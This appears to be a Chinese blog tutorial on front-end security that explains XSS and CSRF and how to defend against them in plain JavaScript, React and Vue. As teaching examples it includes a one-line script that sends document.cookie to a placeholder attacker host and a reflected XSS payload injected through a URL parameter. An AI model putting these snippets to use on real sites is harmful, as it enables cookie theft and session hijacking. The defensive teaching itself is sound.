网络安全与防范

1.重要性随着互联网的发达,各种WEB应用也变得越来越复杂,满足了用户的各种需求,但是随之而来的就是各种网络安全的问题。了解常见的前端攻击形式和保护我们的网站不受攻击是我们每个优秀fronter必备的技能。2.分类XSS攻击CSRF攻击网络劫持攻击(运营商劫持)控制台注入代码虚假网站钓鱼3.XSS攻击XSS是一种经常出现在web应用中的计算机安全漏洞,为了和 CSS 区分,这里把攻击的第一个字母改成了X,于是叫做XSS,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy),从而发起非法行为和获取网站的敏感数据。发起方式实施XSS攻击需要具备两个条件一、需要向web页面注入恶意代码, 利用表单和url地址栏的查询字符串注入js非法代码二、这些恶意代码能够被浏览器成功的执行XSS攻击的主要目的一、窃取Cookies和私信信息,发送到黑客网站上var i=document.createElement("img");document.body.appendChild(i);i.src = "http://www.hackerserver.com/?c=" + document.cookie;二、发起非法行为地址栏:http://www.xxx.com/?id=" /><script>alert(/xss/)</script><br x="把id放入到img之后最终反射出来的HTML代码:<div> <img src="/images/handler.ashx?id=" /><script>alert(/xss/)</script><br x="" /></div>防范措施DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。在使用 .innerHTML、.outerHTML、document.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent、.setAttribute() 等。转义HTML,过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 '(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。、严格控制输出。如果用 Vue/React 技术栈,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 阶段避免 innerHTML、outerHTML 的 XSS 隐患。DOM 中的内联事件监听器,如 location、onclick、onerror、onload、onmouseover 等,a标签的 href 属性,JavaScript 的 eval()、setTimeout()、setInterval() 等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。<!-- 内联事件监听器中包含恶意代码 --> < img onclick = "UNTRUSTED" onerror = "UNTRUSTED" src = "data:image/png," > <!-- 链接内包含恶意代码 --> < a href = "UNTRUSTED" > 1 </ a > < script > // setTimeout()/setInterval() 中调用恶意代码 setTimeout( "UNTRUSTED" )setInterval( "UNTRUSTED" ) // location 调用恶意代码 location.href = 'UNTRUSTED' // eval() 中调用恶意代码 eval ( "UNTRUSTED" ) </ script >4.CSRF攻击攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。 Cookie是按照Domain存储的,当请求一个网站的时候,浏览器会自动把这个网站的Cookie发送过去。发起方式用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。图解流程

防范措施CSRF攻击是攻击者利用用户的身份(Cookie)操作用户帐户的一种攻击方式,我们可以利用修改登录态的位置(由cookie中放到地址栏或者自定义请求头部)和refer的判断来防御CSRF攻击,由前端和服务端配合一起解决CSRF攻击。验证HTTP Referer字段根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如需要访问 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory,用户必须在 bank.example网站发起请求,referer的域名一定指向bank.example。如果 Referer 是其他网站的话,则有可能是黑客的CSRF攻击,拒绝该请求。但Referer值是由浏览器提供的,服务端可以绕过这个限制修改Referer字段发起攻击。在HTTP头中自定义属性并验证这种方法是使用token并进行验证,把token的位置由Cookie移到http请求的头部,使第三方网站无法盗用身份信息。解决了在请求地址栏中加入token的不便,同时通过 XMLHttpRequest请求的地址不会被记录到浏览器的地址栏,也不用担心token会透过 Referer泄露到其他网站中去。添加验证码操作增加与用户的互动,即便是最简陋的验证码也能起到很好的效果5.XSS与CSRF之间的区别攻击类型字面理解宿主网站攻击方式XSS(cross site script)跨站脚本攻击,在别人的网站注入JS脚本以触发非法操作或者获取别人网站的私密信息A网站给A网站注入JS脚本CSRF(cross site request forgery)跨站请求伪造,在钓鱼网站伪装成正常网站,非法使用浏览器自带Cookie的机制发起伪造正常网站的请求A网站在B网站借助A网站的Cookie,伪造发起A网站的请求6.在Vue与React中的防范措施JSX中防止XSS注入攻击React DOM 在渲染所有输入内容之前,默认会进行转义。它可以确保在你的应用中,永远不会注入那些并非自己明确编写的内容。所有的内容在渲染之前都被转换成了字符串。这样可以有效地防止 XSS(cross-site-scripting, 跨站脚本)攻击。dangerouslySetInnerHTML 是 React 为浏览器 DOM 提供 innerHTML 的替换方案。但当你想设置 dangerouslySetInnerHTML 时,需要向其传递包含 key 为 __html 的对象,以此来警示你。在Vue中尽量不要使用v-html在网站上动态渲染任意 HTML 是非常危险的,因为容易导致 XSS 攻击。只在可信内容上使用 v-html,永不用在用户提交的内容上。

(0)

相关推荐

  • 密码安全与会话安全

    对于登录大家并不陌生,访问系统几乎都需要登录.因为系统也不知道是谁在访问,所以需要你告诉系统你是谁,还需要证明你真的是你,如何证明?给系统展示你的密码,因为密码只有你才拥有,你有这个密码,你就能证明你 ...

  • 网络安全常见攻击方式有哪些?基础入门必看!

    想必很多人都看到过SQL注入.XSS以及CSRF这三个词,但大部分人对它根本不了解,甚至不知道其含义是什么.接下来,为大家详细介绍一下什么是SQL注入.XSS以及CSRF?不知道的人快来看看吧. SQ ...

  • XSS攻击手段有哪些?网络安全入门教程

    跨站脚本攻击,简称XSS,是一种网站应用程序的安全漏洞攻击,属于代码注入的一种;与其他攻击相比,XSS攻击所带来的危害更大,那么常用的XSS攻击手段和目的有哪些?我们来看看详细的内容介绍. 人们经常将 ...

  • 网络安全软件/固件,防范勒索软件攻击的唯一手段?

    修复/感染后阶段是防范勒索软件攻击的关键阶段. " 作者 | 余快 近年来,利用勒索软件进行网络攻击的事件屡见不鲜.Colonial Pipeline攻击事件更是为企业机构敲响了警钟. 1 ...

  • 如何防范SQL注入攻击?网络安全入门教程

    SQL注入攻击是最危险的Web漏洞之一,危害性极大,造成的后果不堪设想,因此受到了大家的高度重视.那么你知道SQL注入攻击防范方法有哪些吗?我们来看看详细的内容介绍. SQL注入攻击的危害很大,而且防 ...

  • 防范XSS漏洞攻击的原则是什么?网络安全学习教程

    XSS即Cross Site Scripting,中文名称为跨站脚本攻击,那么你知道防范XSS漏洞攻击的原则包括哪些吗?以下是详细的内容介绍. XSS攻击主要是由程序漏洞造成的,要完全防止XSS安全漏 ...

  • 手足口病传播方式具有多样性,如何防范方为上策?

    现在小孩子传染疾病比较多见,比如说痄腮.水痘等疾病都比较容易好发于学龄前儿童,除了这些流行病,现在还流行一种手足口病,通常比较容易发生在小孩子身上,主要症状就是手.脚.口中长有水泡,令患者非常痛苦.为 ...

  • 馨月说财经:A股震荡是流动性紧平衡与防范国际金融风险的结果

    本周全球市场交易逻辑围绕通胀展开,国内外诸多商品期货价格创出历史新高.在美国非农就业大幅低于预期的前提下,使无限量QE政策预期难以收紧,美欧股市得以继续推高,道指.标普500指数及欧股多指数皆刷新历史 ...

  • 热工测量异常原因分析及防范措施

    在电力生产过程中,热力参数的准确测量,是保证机组安全.经济运行的先决条件.但在电力生产的实际过程中,由于设备选型.安装调试.检修运行维护和管理中的缺陷,加上重视不足,使得热工参数测量失准现象总有存在, ...

  • 弱电人要知道的8大周界防范系统

    筑龙给排水 1篇原创内容 公众号 来源:谈论机电 如有侵权,请联系删除 大型设施中,一般的监控系统往往不能够起到完全防范的作用,或是需要更多的人力成本,得不偿失,这时候就需要用到周界防范系统了.周界防 ...

  • 7种癌症的防范要点公布,建议收藏1.膀胱...

    7种癌症的防范要点公布,建议收藏1.膀胱...

  • 防范随意废标对症出四招

    安徽省招标投标协会2019-09-27 10:31:41 安徽省招标投标协会受政府委托,承担公告发布及综合评标专家库运行维护等工作.为各方市场主体,交易中心,政府监管部门提供"一站式&quo ...